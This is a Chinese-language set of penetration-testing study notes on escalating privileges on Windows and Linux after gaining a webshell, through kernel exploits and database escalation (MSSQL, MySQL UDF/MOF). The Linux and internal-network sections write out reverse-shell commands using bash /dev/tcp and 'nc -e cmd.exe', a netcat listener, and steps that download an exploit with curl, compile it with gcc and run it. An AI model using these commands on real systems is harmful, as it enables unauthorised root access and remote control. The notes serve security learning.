windows和linux提权

前提：拿到wbshell后做的事情

webshell 通常继承了web 用户的权限

通常情况下，web用户的权限是比较低的

   权限提升

1：获取其他用户的访问权限，甚至是管理员。

      ! 水平权限提升（越权）（普通用户更改普通用户的帖子）

                对一个论坛来说 ：

                            超级管理员（管理所有）、版主（管理一版的帖子）、普通用户（管里自己的帖子）

                                                                                                                 A|B

      ！垂直权限提升（更改版主或超级管理员的贴子）

       ！如果以上两种情况，发生在web、App中

               失效的访问控制：就是未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据，例如：访问其他用户的账户、查看敏感文件、修改其他用户的数据、更改访问权限等。

 

对于系统来说，就是“提权”，目标是获取root/administrator的权限。

提权的分类：   水平权限提升、垂直权限提升

依据操作系统分类：

编译器：

  windows系统：

提权方式：

        操作系统漏洞提权：

            步骤：1获取系统信息

                        命令是：systminfo  

                                根据没有修补的补丁号码，直接在网上找 利用程序   网址：www.7kb.org/138.html

                                漏洞（系统漏洞msxx-xx）与补丁（kB）的对应关系

                                   PR提权：win2003

                                        MS09-012

                                   巴西烤肉提权

                       2 直接用exp，exp就是编译好的针对某一漏洞的exe程序

          第三方服务提权

                就是数据库提权

                    分两种：1：MSSQL 提取

                                       关键步骤：就是获取sa用户的密码

                                            条件：数据库的端口、地址   sa  sa用户的密码

                                   2：:MYSQL 提权

                                 分两种：1：UDF 提权

                                               2：MOF提权

            其他数据库    VNC   PCanywhere .........

linux系统：

自带的编译器：gcc

 

  1：利用系统漏洞进行提权 

            一；了解目标操作系统的内核版本号，去查找对应的能提权的漏洞 

                                命令：• cat /proc/version（系统版本信息）

                                          • uname -a（内核查询）

                                          • uname -mrs+-

                                          • rpm -q kernel

                                          • dmesg | grep Linux

                                           • ls /boot | grep vmlinuz

                 1；shell反弹

                    监听端口   nc.exe -lvvp 4444

                    /bin/bash -i >& /dev/tcp/ip地址/4444（端口号） 0<&1

                    查找提权的漏洞

                    kali中：searchsploit+系统

                    下载提权exp.c

                    curl http://172.18.199.91/35370.c > exp.c

        

                     编译并且运行

                     gcc exp.c -o exploit -lpthread

                      ./exploit

提权实战

1   如果对方windows系统，并且使用套件搭建服务，获取的webshell，即是system权限

    常见的套件： xampp   wamp    phpstudy

内网渗透

1   nc shell 反弹

     客户端首先执行    nc.exe -lvvp 777(端口号)

     服务器端执行     nc.exe -e cmd.exe 远程IP地址 端口号